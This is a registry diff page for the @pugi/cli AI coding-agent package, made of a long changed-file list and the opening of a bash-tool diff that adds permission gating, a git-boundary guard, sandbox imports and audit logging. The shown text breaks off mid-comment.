@pugi/cli 0.1.0-beta.10 → 0.1.0-beta.101

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (464) hide show
  1. package/CHANGELOG.md +132 -0
  2. package/LICENSE +1 -1
  3. package/README.md +55 -11
  4. package/assets/pugi-prozr2-mascot.ansi +9 -0
  5. package/bin/run.js +33 -1
  6. package/dist/commands/deploy.js +40 -40
  7. package/dist/commands/flatten.js +191 -0
  8. package/dist/commands/jobs-watch.js +201 -0
  9. package/dist/commands/jobs.js +42 -27
  10. package/dist/commands/retro.js +210 -0
  11. package/dist/commands/smoke.js +133 -0
  12. package/dist/core/agent-progress/cleanup.js +134 -0
  13. package/dist/core/agent-progress/schema.js +144 -0
  14. package/dist/core/agent-progress/writer.js +101 -0
  15. package/dist/core/agents/adaptive-router.js +330 -0
  16. package/dist/core/agents/query-decomposer.js +297 -0
  17. package/dist/core/agents/registry.js +3 -3
  18. package/dist/core/approvals/shortcut-resolver.js +98 -0
  19. package/dist/core/artifact-chain/dispatcher.js +148 -0
  20. package/dist/core/artifact-chain/exporter.js +164 -0
  21. package/dist/core/artifact-chain/state.js +243 -0
  22. package/dist/core/artifact-chain/steps.js +169 -0
  23. package/dist/core/ask-user/question.js +92 -0
  24. package/dist/core/audit/audit-trail.js +275 -0
  25. package/dist/core/auth/ensure-authenticated.js +129 -0
  26. package/dist/core/auth/env-provider.js +238 -0
  27. package/dist/core/auto-open-browser.js +4 -4
  28. package/dist/core/auto-update/channels.js +122 -0
  29. package/dist/core/auto-update/checker.js +241 -0
  30. package/dist/core/auto-update/state.js +235 -0
  31. package/dist/core/bare-mode/index.js +107 -0
  32. package/dist/core/bash/redirect.js +281 -0
  33. package/dist/core/bash-classifier.js +436 -40
  34. package/dist/core/checkpoint/resumer.js +149 -0
  35. package/dist/core/checkpoint/rewinder.js +291 -0
  36. package/dist/core/checkpoints/shadow-git.js +670 -0
  37. package/dist/core/citations/parser.js +109 -0
  38. package/dist/core/classifier/yolo-classifier.js +88 -0
  39. package/dist/core/codegraph/db.js +506 -0
  40. package/dist/core/codegraph/decision-store.js +248 -0
  41. package/dist/core/codegraph/detect-repo.js +459 -0
  42. package/dist/core/codegraph/install.js +134 -0
  43. package/dist/core/codegraph/offer-hook.js +220 -0
  44. package/dist/core/codegraph/parser.js +598 -0
  45. package/dist/core/codegraph/queries/go.scm +57 -0
  46. package/dist/core/codegraph/queries/javascript.scm +56 -0
  47. package/dist/core/codegraph/queries/python.scm +55 -0
  48. package/dist/core/codegraph/queries/rust.scm +63 -0
  49. package/dist/core/codegraph/queries/typescript.scm +91 -0
  50. package/dist/core/codegraph/reindex.js +218 -0
  51. package/dist/core/codegraph/resolve-edges.js +107 -0
  52. package/dist/core/codegraph/types.js +34 -0
  53. package/dist/core/codegraph/watcher.js +440 -0
  54. package/dist/core/compact/auto-trigger.js +96 -0
  55. package/dist/core/compact/buffer-rewriter.js +115 -0
  56. package/dist/core/compact/summarizer.js +208 -0
  57. package/dist/core/compact/token-counter.js +108 -0
  58. package/dist/core/consensus/anvil-fanout.js +25 -25
  59. package/dist/core/consensus/diff-capture.js +121 -12
  60. package/dist/core/consensus/rubric.js +21 -21
  61. package/dist/core/context/builder.js +6 -6
  62. package/dist/core/context/compaction-events.js +8 -8
  63. package/dist/core/context/compaction.js +31 -31
  64. package/dist/core/context/index.js +15 -8
  65. package/dist/core/context/invariants.js +51 -51
  66. package/dist/core/context/markdown-loader.js +28 -10
  67. package/dist/core/context/markdown-traverse.js +255 -0
  68. package/dist/core/context/pugiignore.js +41 -41
  69. package/dist/core/context/repo-skeleton.js +37 -37
  70. package/dist/core/context/tool-eviction.js +55 -0
  71. package/dist/core/context/watcher.js +32 -32
  72. package/dist/core/context/working-set.js +23 -23
  73. package/dist/core/coordinator/agent-tools.js +77 -0
  74. package/dist/core/coordinator/agent-toolset.js +65 -0
  75. package/dist/core/coordinator/fsm.js +73 -0
  76. package/dist/core/coordinator/mode-fsm.js +70 -0
  77. package/dist/core/cost/rate-card.js +129 -0
  78. package/dist/core/cost/tracker.js +221 -0
  79. package/dist/core/credentials.js +13 -13
  80. package/dist/core/cron/scheduler.js +138 -0
  81. package/dist/core/denial-tracking/index.js +8 -0
  82. package/dist/core/denial-tracking/state.js +264 -0
  83. package/dist/core/diagnostics/probe-runner.js +93 -0
  84. package/dist/core/diagnostics/probes/api.js +46 -0
  85. package/dist/core/diagnostics/probes/auth.js +93 -0
  86. package/dist/core/diagnostics/probes/bare-mode.js +42 -0
  87. package/dist/core/diagnostics/probes/cli-version.js +127 -0
  88. package/dist/core/diagnostics/probes/config.js +72 -0
  89. package/dist/core/diagnostics/probes/denial-tracking.js +57 -0
  90. package/dist/core/diagnostics/probes/disk.js +81 -0
  91. package/dist/core/diagnostics/probes/engine-live.js +46 -0
  92. package/dist/core/diagnostics/probes/git.js +65 -0
  93. package/dist/core/diagnostics/probes/hooks.js +118 -0
  94. package/dist/core/diagnostics/probes/mcp.js +75 -0
  95. package/dist/core/diagnostics/probes/node.js +59 -0
  96. package/dist/core/diagnostics/probes/pnpm.js +36 -0
  97. package/dist/core/diagnostics/probes/pugi-md.js +89 -0
  98. package/dist/core/diagnostics/probes/sandbox.js +67 -0
  99. package/dist/core/diagnostics/probes/session.js +74 -0
  100. package/dist/core/diagnostics/probes/status-snapshot.js +488 -0
  101. package/dist/core/diagnostics/probes/workspace.js +63 -0
  102. package/dist/core/diagnostics/types.js +70 -0
  103. package/dist/core/dispatch/cache-cleanup.js +197 -0
  104. package/dist/core/dispatch/cache-handoff.js +295 -0
  105. package/dist/core/edits/apply-patch-layer-e.js +189 -0
  106. package/dist/core/edits/dispatch.js +333 -7
  107. package/dist/core/edits/format-detector.js +260 -0
  108. package/dist/core/edits/format-matrix.js +26 -0
  109. package/dist/core/edits/fuzzy-ladder.js +650 -0
  110. package/dist/core/edits/index.js +5 -1
  111. package/dist/core/edits/journal.js +199 -0
  112. package/dist/core/edits/layer-a-apply.js +15 -15
  113. package/dist/core/edits/layer-a-fuzzy-apply.js +198 -0
  114. package/dist/core/edits/layer-b-apply.js +9 -9
  115. package/dist/core/edits/layer-c-apply.js +6 -6
  116. package/dist/core/edits/layer-d-ast.js +557 -14
  117. package/dist/core/edits/marker-parser.js +12 -12
  118. package/dist/core/edits/security-gate.js +27 -27
  119. package/dist/core/edits/verify-hook.js +273 -0
  120. package/dist/core/edits/worktree.js +29 -29
  121. package/dist/core/engine/anvil-client.js +214 -26
  122. package/dist/core/engine/auto-compact.js +247 -0
  123. package/dist/core/engine/budgets.js +220 -0
  124. package/dist/core/engine/compact-llm-summarizer.js +124 -0
  125. package/dist/core/engine/context-prefix.js +155 -0
  126. package/dist/core/engine/index.js +1 -1
  127. package/dist/core/engine/intensity.js +163 -0
  128. package/dist/core/engine/intent.js +260 -0
  129. package/dist/core/engine/native-pugi.js +1559 -227
  130. package/dist/core/engine/prompts.js +219 -19
  131. package/dist/core/engine/strip-internal-fields.js +124 -0
  132. package/dist/core/engine/tool-bridge.js +1887 -59
  133. package/dist/core/engine/verification-patterns.js +195 -0
  134. package/dist/core/eval/v1/ledger.js +83 -0
  135. package/dist/core/eval/v1/runner.js +280 -0
  136. package/dist/core/eval/v1/scoring.js +68 -0
  137. package/dist/core/eval/v1/task-loader.js +191 -0
  138. package/dist/core/eval/v1/types.js +14 -0
  139. package/dist/core/eval/v1/verifier.js +176 -0
  140. package/dist/core/eval/v1/yaml-parser.js +250 -0
  141. package/dist/core/evaluation/golden-dataset.js +293 -0
  142. package/dist/core/feedback/queue.js +177 -0
  143. package/dist/core/feedback/submitter.js +145 -0
  144. package/dist/core/file-cache.js +113 -1
  145. package/dist/core/flatten/flatten-repo.js +439 -0
  146. package/dist/core/format/osc8-link.js +28 -0
  147. package/dist/core/hook-chains.js +392 -0
  148. package/dist/core/hooks/citation-verify-hook.js +138 -0
  149. package/dist/core/hooks/citation-verify.js +112 -0
  150. package/dist/core/hooks/events.js +46 -0
  151. package/dist/core/hooks/index.js +15 -0
  152. package/dist/core/hooks/registry.js +216 -0
  153. package/dist/core/hooks/runner.js +236 -0
  154. package/dist/core/hooks/v2/event-emitter.js +115 -0
  155. package/dist/core/hooks/v2/executor.js +282 -0
  156. package/dist/core/hooks/v2/index.js +25 -0
  157. package/dist/core/hooks/v2/lifecycle.js +104 -0
  158. package/dist/core/hooks/v2/loader.js +216 -0
  159. package/dist/core/hooks/v2/matcher.js +125 -0
  160. package/dist/core/hooks/v2/trust.js +143 -0
  161. package/dist/core/hooks/v2/types.js +86 -0
  162. package/dist/core/hooks/worktree-events.js +158 -0
  163. package/dist/core/image/renderer.js +71 -0
  164. package/dist/core/init/detector.js +582 -0
  165. package/dist/core/init/template-renderer.js +242 -0
  166. package/dist/core/jobs/registry.js +18 -18
  167. package/dist/core/ledger/results-tsv.js +142 -0
  168. package/dist/core/log-discipline/stdout-redirect.js +51 -0
  169. package/dist/core/lsp/cache.js +105 -0
  170. package/dist/core/lsp/client.js +551 -41
  171. package/dist/core/lsp/language-detect.js +66 -0
  172. package/dist/core/lsp/post-edit-diagnostics.js +171 -0
  173. package/dist/core/lsp/server-detect.js +173 -0
  174. package/dist/core/lsp/symbol-cache.js +162 -0
  175. package/dist/core/lsp/symbol-tools.js +664 -0
  176. package/dist/core/mcp/client.js +97 -28
  177. package/dist/core/mcp/http-server.js +553 -0
  178. package/dist/core/mcp/orchestrator-config.js +192 -0
  179. package/dist/core/mcp/orchestrator-tools.js +806 -0
  180. package/dist/core/mcp/permission.js +190 -0
  181. package/dist/core/mcp/registry.js +39 -17
  182. package/dist/core/mcp/server-tools.js +219 -0
  183. package/dist/core/mcp/server.js +397 -0
  184. package/dist/core/mcp/trust.js +10 -10
  185. package/dist/core/memory/dual-write.js +416 -0
  186. package/dist/core/memory/passive-extract.js +130 -0
  187. package/dist/core/memory/phase1-kinds.js +20 -0
  188. package/dist/core/memory/secret-scanner.js +304 -0
  189. package/dist/core/memory-sync/queue.js +170 -0
  190. package/dist/core/metrics/extract.js +113 -0
  191. package/dist/core/modes/roo-modes.js +68 -0
  192. package/dist/core/notes/notes-paths.js +113 -0
  193. package/dist/core/notes/notes-recorder.js +140 -0
  194. package/dist/core/notes/notes-writer.js +53 -0
  195. package/dist/core/notes/renderers.js +0 -0
  196. package/dist/core/notes/slug.js +105 -0
  197. package/dist/core/onboarding/ensure-initialized.js +133 -0
  198. package/dist/core/onboarding/marker.js +111 -0
  199. package/dist/core/onboarding/telemetry-state.js +108 -0
  200. package/dist/core/output-style/presets.js +176 -0
  201. package/dist/core/output-style/state.js +185 -0
  202. package/dist/core/path-security.js +287 -5
  203. package/dist/core/permission.js +82 -22
  204. package/dist/core/permissions/auto-classifier.js +124 -0
  205. package/dist/core/permissions/bash-parser.js +371 -0
  206. package/dist/core/permissions/circuit-breaker.js +83 -0
  207. package/dist/core/permissions/constrained-edit.js +91 -0
  208. package/dist/core/permissions/gate.js +278 -0
  209. package/dist/core/permissions/index.js +20 -0
  210. package/dist/core/permissions/mode.js +174 -0
  211. package/dist/core/permissions/network-egress.js +137 -0
  212. package/dist/core/permissions/state.js +241 -0
  213. package/dist/core/permissions/tool-class.js +107 -0
  214. package/dist/core/plan-mode/ui-state.js +51 -0
  215. package/dist/core/plans/plan-artifact.js +721 -0
  216. package/dist/core/policy-limits/etag-store.js +122 -0
  217. package/dist/core/prd-check/parser.js +215 -0
  218. package/dist/core/prd-check/reporter.js +127 -0
  219. package/dist/core/prd-check/session-review.js +557 -0
  220. package/dist/core/prd-check/verifiers.js +223 -0
  221. package/dist/core/prompt-cache/client-cache.js +99 -0
  222. package/dist/core/prompts/assembly.js +29 -0
  223. package/dist/core/prompts/registry.js +364 -0
  224. package/dist/core/pugi-gitignore.js +52 -0
  225. package/dist/core/pugi-md/cc-compat-rules.js +735 -0
  226. package/dist/core/pugi-md/context-injector.js +76 -0
  227. package/dist/core/pugi-md/walk-up.js +207 -0
  228. package/dist/core/python/uv-installer.js +270 -0
  229. package/dist/core/python/uv-resolver.js +83 -0
  230. package/dist/core/rate-limit/narrator.js +146 -0
  231. package/dist/core/recipes/cli-types.js +20 -0
  232. package/dist/core/recipes/loader.js +103 -0
  233. package/dist/core/recipes/runner.js +345 -0
  234. package/dist/core/recipes/schema.js +587 -0
  235. package/dist/core/release-notes/parser.js +241 -0
  236. package/dist/core/release-notes/state.js +116 -0
  237. package/dist/core/repl/ask.js +37 -37
  238. package/dist/core/repl/cancellation.js +26 -26
  239. package/dist/core/repl/cap-warning.js +4 -4
  240. package/dist/core/repl/clipboard-read.js +11 -11
  241. package/dist/core/repl/dispatch-fsm.js +12 -12
  242. package/dist/core/repl/engine-bridge.js +303 -0
  243. package/dist/core/repl/history-search.js +15 -15
  244. package/dist/core/repl/history.js +28 -18
  245. package/dist/core/repl/kill-ring.js +5 -5
  246. package/dist/core/repl/model-pricing.js +135 -0
  247. package/dist/core/repl/privacy-banner.js +22 -22
  248. package/dist/core/repl/session.js +2690 -229
  249. package/dist/core/repl/slash-commands.js +540 -41
  250. package/dist/core/repl/store/index.js +1 -1
  251. package/dist/core/repl/store/jsonl-log.js +22 -22
  252. package/dist/core/repl/store/lockfile.js +10 -10
  253. package/dist/core/repl/store/session-store.js +136 -107
  254. package/dist/core/repl/store/types.js +15 -15
  255. package/dist/core/repl/store/uuid-v7.js +12 -12
  256. package/dist/core/repl/tool-route.js +382 -0
  257. package/dist/core/repl/workspace-context.js +43 -21
  258. package/dist/core/repo-map/build.js +125 -0
  259. package/dist/core/repo-map/cache.js +185 -0
  260. package/dist/core/repo-map/extractor.js +254 -0
  261. package/dist/core/repo-map/formatter.js +145 -0
  262. package/dist/core/repo-map/page-rank.js +105 -0
  263. package/dist/core/repo-map/scanner.js +211 -0
  264. package/dist/core/retro/git-collector.js +251 -0
  265. package/dist/core/retro/health-card.js +25 -0
  266. package/dist/core/retro/metrics.js +342 -0
  267. package/dist/core/retro/narrative.js +249 -0
  268. package/dist/core/retro/plane-collector.js +274 -0
  269. package/dist/core/retro/pr-issue-link.js +65 -0
  270. package/dist/core/retro/types.js +16 -0
  271. package/dist/core/retry-budget/budget.js +284 -0
  272. package/dist/core/retry-budget/index.js +5 -0
  273. package/dist/core/retry-budget/retry-cap.js +74 -0
  274. package/dist/core/routing/lead-worker.js +43 -0
  275. package/dist/core/routing/pre-flight-estimator.js +108 -0
  276. package/dist/core/runs/run-tree.js +103 -0
  277. package/dist/core/sandboxing/adapter.js +43 -0
  278. package/dist/core/sandboxing/bubblewrap.js +209 -0
  279. package/dist/core/sandboxing/index.js +78 -0
  280. package/dist/core/sandboxing/none.js +19 -0
  281. package/dist/core/sandboxing/policy.js +97 -0
  282. package/dist/core/sandboxing/seatbelt.js +231 -0
  283. package/dist/core/security/injection-scanner.js +367 -0
  284. package/dist/core/security/output-filter.js +418 -0
  285. package/dist/core/session/env-file.js +105 -0
  286. package/dist/core/session/section-budgets.js +140 -0
  287. package/dist/core/session.js +119 -0
  288. package/dist/core/settings.js +402 -5
  289. package/dist/core/share/formatter.js +271 -0
  290. package/dist/core/share/redactor.js +221 -0
  291. package/dist/core/share/uploader.js +267 -0
  292. package/dist/core/skills/defaults.js +30 -30
  293. package/dist/core/skills/loader.js +22 -22
  294. package/dist/core/skills/sources.js +27 -27
  295. package/dist/core/smoke/headless-driver.js +174 -0
  296. package/dist/core/smoke/orchestrator.js +194 -0
  297. package/dist/core/smoke/runner.js +238 -0
  298. package/dist/core/smoke/scenario-parser.js +316 -0
  299. package/dist/core/statusline.js +99 -0
  300. package/dist/core/subagents/dispatcher-real.js +600 -0
  301. package/dist/core/subagents/dispatcher.js +146 -52
  302. package/dist/core/subagents/index.js +19 -6
  303. package/dist/core/subagents/isolation-matrix.js +213 -0
  304. package/dist/core/subagents/spawn.js +19 -4
  305. package/dist/core/telemetry/emitter.js +229 -0
  306. package/dist/core/telemetry/queue.js +251 -0
  307. package/dist/core/theme/context.js +91 -0
  308. package/dist/core/theme/presets.js +228 -0
  309. package/dist/core/theme/state.js +181 -0
  310. package/dist/core/todos/invariant.js +10 -0
  311. package/dist/core/todos/state.js +177 -0
  312. package/dist/core/tool-schema/compressor.js +89 -0
  313. package/dist/core/transport/version-interceptor.js +166 -0
  314. package/dist/core/trust.js +2 -2
  315. package/dist/core/tui/thinking-block.js +64 -0
  316. package/dist/core/vim/keymap.js +288 -0
  317. package/dist/core/vim/state.js +92 -0
  318. package/dist/core/watch-markers/marker-watcher.js +133 -0
  319. package/dist/core/worktree/include-parser.js +249 -0
  320. package/dist/core/worktree-manager/cleanup.js +123 -0
  321. package/dist/core/worktree-manager/manager.js +303 -0
  322. package/dist/index.js +36 -0
  323. package/dist/runtime/bootstrap.js +190 -0
  324. package/dist/runtime/cli.js +4403 -561
  325. package/dist/runtime/commands/agents.js +31 -31
  326. package/dist/runtime/commands/budget.js +5 -5
  327. package/dist/runtime/commands/cancel.js +231 -0
  328. package/dist/runtime/commands/chain.js +489 -0
  329. package/dist/runtime/commands/codegraph-status.js +227 -0
  330. package/dist/runtime/commands/compact.js +297 -0
  331. package/dist/runtime/commands/config.js +74 -40
  332. package/dist/runtime/commands/cost.js +199 -0
  333. package/dist/runtime/commands/delegate.js +27 -4
  334. package/dist/runtime/commands/dispatch.js +126 -0
  335. package/dist/runtime/commands/doctor.js +579 -0
  336. package/dist/runtime/commands/eval-v1.js +266 -0
  337. package/dist/runtime/commands/feedback.js +184 -0
  338. package/dist/runtime/commands/hooks.js +187 -0
  339. package/dist/runtime/commands/index-cmd.js +459 -0
  340. package/dist/runtime/commands/init.js +254 -0
  341. package/dist/runtime/commands/lsp.js +200 -38
  342. package/dist/runtime/commands/mcp.js +935 -0
  343. package/dist/runtime/commands/memory.js +582 -0
  344. package/dist/runtime/commands/model.js +237 -0
  345. package/dist/runtime/commands/onboarding.js +275 -0
  346. package/dist/runtime/commands/patch.js +12 -12
  347. package/dist/runtime/commands/permissions.js +112 -0
  348. package/dist/runtime/commands/plan.js +143 -0
  349. package/dist/runtime/commands/prd-check.js +285 -0
  350. package/dist/runtime/commands/privacy.js +17 -17
  351. package/dist/runtime/commands/recipe.js +325 -0
  352. package/dist/runtime/commands/redo-blob-store.js +92 -0
  353. package/dist/runtime/commands/redo.js +361 -0
  354. package/dist/runtime/commands/release-notes.js +229 -0
  355. package/dist/runtime/commands/repo-map.js +95 -0
  356. package/dist/runtime/commands/report.js +299 -0
  357. package/dist/runtime/commands/resume.js +118 -0
  358. package/dist/runtime/commands/review-consensus.js +68 -53
  359. package/dist/runtime/commands/rewind.js +333 -0
  360. package/dist/runtime/commands/roster.js +14 -14
  361. package/dist/runtime/commands/servers-cli.js +182 -0
  362. package/dist/runtime/commands/servers.js +236 -0
  363. package/dist/runtime/commands/sessions.js +163 -0
  364. package/dist/runtime/commands/share.js +316 -0
  365. package/dist/runtime/commands/skills.js +31 -31
  366. package/dist/runtime/commands/status.js +186 -0
  367. package/dist/runtime/commands/stickers.js +82 -0
  368. package/dist/runtime/commands/style.js +194 -0
  369. package/dist/runtime/commands/theme.js +196 -0
  370. package/dist/runtime/commands/undo.js +54 -22
  371. package/dist/runtime/commands/update.js +289 -0
  372. package/dist/runtime/commands/vim.js +140 -0
  373. package/dist/runtime/commands/worktree.js +8 -8
  374. package/dist/runtime/commands/worktrees.js +155 -0
  375. package/dist/runtime/deprecation-warning.js +69 -0
  376. package/dist/runtime/engine-exit-code.js +50 -0
  377. package/dist/runtime/headless-repl.js +195 -0
  378. package/dist/runtime/headless.js +548 -0
  379. package/dist/runtime/load-hooks-or-exit.js +71 -0
  380. package/dist/runtime/plan-decompose.js +22 -22
  381. package/dist/runtime/sigint-guard.js +272 -0
  382. package/dist/runtime/stream-renderer.js +195 -0
  383. package/dist/runtime/update-check.js +28 -28
  384. package/dist/runtime/version.js +65 -0
  385. package/dist/runtime/worktree-bootstrap.js +579 -0
  386. package/dist/skills/bundled/batch.js +617 -0
  387. package/dist/skills/bundled/index.js +45 -0
  388. package/dist/skills/bundled/loop.js +358 -0
  389. package/dist/skills/bundled/remember.js +383 -0
  390. package/dist/skills/bundled/simplify.js +289 -0
  391. package/dist/skills/bundled/skillify.js +373 -0
  392. package/dist/skills/bundled/stuck.js +558 -0
  393. package/dist/skills/bundled/verify.js +439 -0
  394. package/dist/testing/vcr.js +486 -0
  395. package/dist/tools/agent-tool.js +229 -0
  396. package/dist/tools/apply-patch.js +89 -28
  397. package/dist/tools/ask-user-question.js +337 -0
  398. package/dist/tools/ask-user.js +115 -0
  399. package/dist/tools/bash.js +811 -49
  400. package/dist/tools/brief.js +224 -0
  401. package/dist/tools/cron.js +433 -0
  402. package/dist/tools/enter-worktree.js +250 -0
  403. package/dist/tools/exit-worktree.js +147 -0
  404. package/dist/tools/file-tools.js +161 -44
  405. package/dist/tools/http-request.js +336 -0
  406. package/dist/tools/lsp-tools.js +377 -1
  407. package/dist/tools/mcp-tool.js +260 -0
  408. package/dist/tools/multi-edit.js +361 -0
  409. package/dist/tools/powershell.js +268 -0
  410. package/dist/tools/registry.js +120 -5
  411. package/dist/tools/server-tools.js +892 -0
  412. package/dist/tools/skill-tool.js +96 -0
  413. package/dist/tools/sleep.js +99 -0
  414. package/dist/tools/synthetic-output.js +133 -0
  415. package/dist/tools/tasks.js +208 -0
  416. package/dist/tools/todo-write.js +184 -0
  417. package/dist/tools/verify-plan-execution.js +295 -0
  418. package/dist/tools/web-fetch-injection-scanner.js +207 -0
  419. package/dist/tools/web-fetch.js +195 -10
  420. package/dist/tools/web-search.js +458 -0
  421. package/dist/tui/agent-progress-card.js +111 -0
  422. package/dist/tui/agent-tree.js +22 -1
  423. package/dist/tui/ask-modal.js +14 -14
  424. package/dist/tui/ask-user-question-chips.js +315 -0
  425. package/dist/tui/ask-user-question-prompt.js +203 -0
  426. package/dist/tui/compact-banner.js +81 -0
  427. package/dist/tui/conversation-pane.js +85 -11
  428. package/dist/tui/cost-table.js +111 -0
  429. package/dist/tui/device-flow.js +2 -2
  430. package/dist/tui/doctor-table.js +46 -0
  431. package/dist/tui/feedback-prompt.js +156 -0
  432. package/dist/tui/input-box.js +247 -32
  433. package/dist/tui/login-picker.js +3 -3
  434. package/dist/tui/markdown-render.js +6 -6
  435. package/dist/tui/multi-file-diff-approval.js +375 -0
  436. package/dist/tui/onboarding-wizard.js +240 -0
  437. package/dist/tui/permissions-picker.js +86 -0
  438. package/dist/tui/render.js +36 -1
  439. package/dist/tui/repl-render.js +239 -25
  440. package/dist/tui/repl-splash-art.js +16 -16
  441. package/dist/tui/repl-splash-mascot.js +48 -24
  442. package/dist/tui/repl-splash.js +22 -22
  443. package/dist/tui/repl.js +125 -45
  444. package/dist/tui/slash-palette.js +6 -6
  445. package/dist/tui/splash.js +2 -2
  446. package/dist/tui/status-bar.js +109 -31
  447. package/dist/tui/status-table.js +7 -0
  448. package/dist/tui/stickers-art.js +136 -0
  449. package/dist/tui/style-table.js +28 -0
  450. package/dist/tui/theme-table.js +29 -0
  451. package/dist/tui/thinking-spinner.js +123 -0
  452. package/dist/tui/tool-stream-pane.js +53 -4
  453. package/dist/tui/update-banner.js +27 -2
  454. package/dist/tui/vim-input.js +267 -0
  455. package/dist/tui/welcome-banner.js +107 -0
  456. package/dist/tui/welcome-data.js +293 -0
  457. package/dist/tui/workspace-context.js +2 -2
  458. package/package.json +29 -6
  459. package/test/scenarios/codegen-create-file.scenario.txt +13 -0
  460. package/test/scenarios/compact-force.scenario.txt +12 -0
  461. package/test/scenarios/identity.scenario.txt +11 -0
  462. package/test/scenarios/persona-handoff.scenario.txt +12 -0
  463. package/test/scenarios/walkback.scenario.txt +12 -0
  464. package/dist/core/engine/compaction-hook.js +0 -154
@@ -1,5 +1,5 @@
1
1
  /**
2
- * Class-aware bash tool — Sprint α5.2 (ADR-0056 PR-PUGI-CLI-M1-GAP-B).
2
+ * Class-aware bash tool — Sprint .
3
3
  *
4
4
  * The agent loop invokes this tool through the registry name `bash`.
5
5
  * It supersedes `file-tools.ts::bashTool`, which used the legacy
@@ -7,32 +7,35 @@
7
7
  * registry entry (`registry.ts` `bash`) is not duplicated.
8
8
  *
9
9
  * Behavioural changes vs the legacy tool:
10
- * 1. Permission decision routes through `evaluateBashPermission`
11
- * (7-class taxonomy, mode-aware, destructive override gate).
12
- * 2. Output cap is 32 KB combined stdout+stderr per call (down
13
- * from 64 KB). Overflow is persisted to
14
- * `.pugi/artifacts/<sessionId>/bash-<callId>.out` with the path
15
- * returned as `artifactRef`.
16
- * 3. Cwd carry-over: the tool receives `cwd` from the previous
17
- * turn's session state and writes the new cwd back when the
18
- * command was a `cd <path>` that landed inside
19
- * `workspaceRoot ∪ additionalDirectories`. Escapes reset the
20
- * cwd to workspaceRoot and emit `bash.cwd_escape`.
21
- * 4. Background jobs: when `background: true`, spawn detached,
22
- * track in `~/.pugi/jobs.json`, return immediately with
23
- * `jobId`. `listJobs()` and `killJob(jobId)` are exported.
24
- * 5. 60s default timeout. SIGTERM at deadline, SIGKILL 5s later.
25
- * Emit `bash.timeout`.
26
- * 6. POSIX-only (`/bin/sh`). The non-goal in ADR-0056 explicitly
27
- * drops Windows shell support for M1.
10
+ * 1. Permission decision routes through `evaluateBashPermission`
11
+ * (7-class taxonomy, mode-aware, destructive override gate).
12
+ * 2. Output cap is 32 KB combined stdout+stderr per call (down
13
+ * from 64 KB). Overflow is persisted to
14
+ * `.pugi/artifacts/<sessionId>/bash-<callId>.out` with the path
15
+ * returned as `artifactRef`.
16
+ * 3. Cwd carry-over: the tool receives `cwd` from the previous
17
+ * turn's session state and writes the new cwd back when the
18
+ * command was a `cd <path>` that landed inside
19
+ * `workspaceRoot ∪ additionalDirectories`. Escapes reset the
20
+ * cwd to workspaceRoot and emit `bash.cwd_escape`.
21
+ * 4. Background jobs: when `background: true`, spawn detached,
22
+ * track in `~/.pugi/jobs.json`, return immediately with
23
+ * `jobId`. `listJobs()` and `killJob(jobId)` are exported.
24
+ * 5. 60s default timeout. SIGTERM at deadline, SIGKILL 5s later.
25
+ * Emit `bash.timeout`.
26
+ * 6. POSIX-only (`/bin/sh`). The non-goal in explicitly
27
+ * drops Windows shell support for M1.
28
28
  */
29
29
  import { randomUUID } from 'node:crypto';
30
- import { appendFileSync, existsSync, mkdirSync, readFileSync, writeFileSync, } from 'node:fs';
30
+ import { appendFileSync, closeSync, existsSync, mkdirSync, readFileSync, realpathSync, writeFileSync, } from 'node:fs';
31
31
  import { homedir } from 'node:os';
32
32
  import { isAbsolute, join, resolve } from 'node:path';
33
33
  import { spawn, spawnSync } from 'node:child_process';
34
34
  import { classifyBash } from '../core/bash-classifier.js';
35
+ import { applyRedirect, finaliseRedirectFile, normalizeTailLines, openRedirectFile, resolveRedirectTarget, } from '../core/bash/redirect.js';
35
36
  import { evaluateBashPermission } from '../core/permission.js';
37
+ import { writeAuditEvent } from '../core/audit/audit-trail.js';
38
+ import { isSandboxDisabled, makeAdapter, SANDBOX_DISABLE_ENV, } from '../core/sandboxing/index.js';
36
39
  import { getJobRegistry, } from '../core/jobs/registry.js';
37
40
  import { recordToolCall, recordToolResult } from '../core/session.js';
38
41
  export const BASH_OUTPUT_CAP_BYTES = 32 * 1024;
@@ -44,7 +47,7 @@ export const BASH_SIGKILL_GRACE_MS = 5_000;
44
47
  * SIGTERM the child to prevent a `yes`-style stream from pinning
45
48
  * 60+ MB before the timeout watchdog fires.
46
49
  *
47
- * Code Reviewer P1 retro 2026-05-24: the async path previously
50
+ * Code Reviewer P1 retro: the async path previously
48
51
  * accumulated stdout chunks without bound; only spawnSync had a
49
52
  * 10 MB maxBuffer ceiling. Aligning the async path closes the gap.
50
53
  */
@@ -60,6 +63,33 @@ export async function bashTool(input, ctx) {
60
63
  const additionalDirectories = ctx.additionalDirectories ?? [];
61
64
  const source = ctx.source ?? 'agent';
62
65
  const toolCallId = recordToolCall(ctx.session, 'bash', cmd);
66
+ // Cwd carry-over decision (also re-checked post-run).
67
+ const startCwd = resolveStartCwd(input.cwd ?? ctx.lastBashCwd, ctx.root, additionalDirectories);
68
+ // Workspace-git-boundary guard (CEO P0 #51).
69
+ // Runs BEFORE the permission gate so the boundary escape message is
70
+ // the one the operator/engine sees, regardless of permission policy.
71
+ // The leak is structural (git silently writes to an ancestor .git
72
+ // when the workspace lacks one), not a policy violation, so the
73
+ // diagnostic must surface even when the permission gate would
74
+ // otherwise have asked or auto-allowed.
75
+ const boundaryBlock = enforceGitBoundary(cmd, startCwd, ctx.root);
76
+ if (boundaryBlock !== null) {
77
+ emitEvent(ctx.session, 'bash.git_boundary_escape', {
78
+ cmd,
79
+ workspaceRoot: ctx.root,
80
+ resolvedToplevel: boundaryBlock.resolvedToplevel ?? null,
81
+ });
82
+ recordToolResult(ctx.session, toolCallId, 'error', boundaryBlock.reason);
83
+ return {
84
+ stdout: '',
85
+ stderr: boundaryBlock.reason,
86
+ exitCode: 126,
87
+ nextCwd: ctx.lastBashCwd ?? ctx.root,
88
+ truncated: false,
89
+ timedOut: false,
90
+ cancelled: false,
91
+ };
92
+ }
63
93
  // Permission gate via the new class-aware engine.
64
94
  const decision = evaluateBashPermission(cmd, ctx.settings.permissions.mode, {
65
95
  workspaceRoot: ctx.root,
@@ -69,6 +99,22 @@ export async function bashTool(input, ctx) {
69
99
  if (decision.decision !== 'allow') {
70
100
  const reason = `Permission ${decision.decision}: ${decision.reason}`;
71
101
  recordToolResult(ctx.session, toolCallId, 'error', reason);
102
+ // #21 : emit `permission_denied` to
103
+ // the tenant-wide audit trail. Truncate the cmd preview to 200
104
+ // chars so a long here-doc does not bloat the JSONL row; the
105
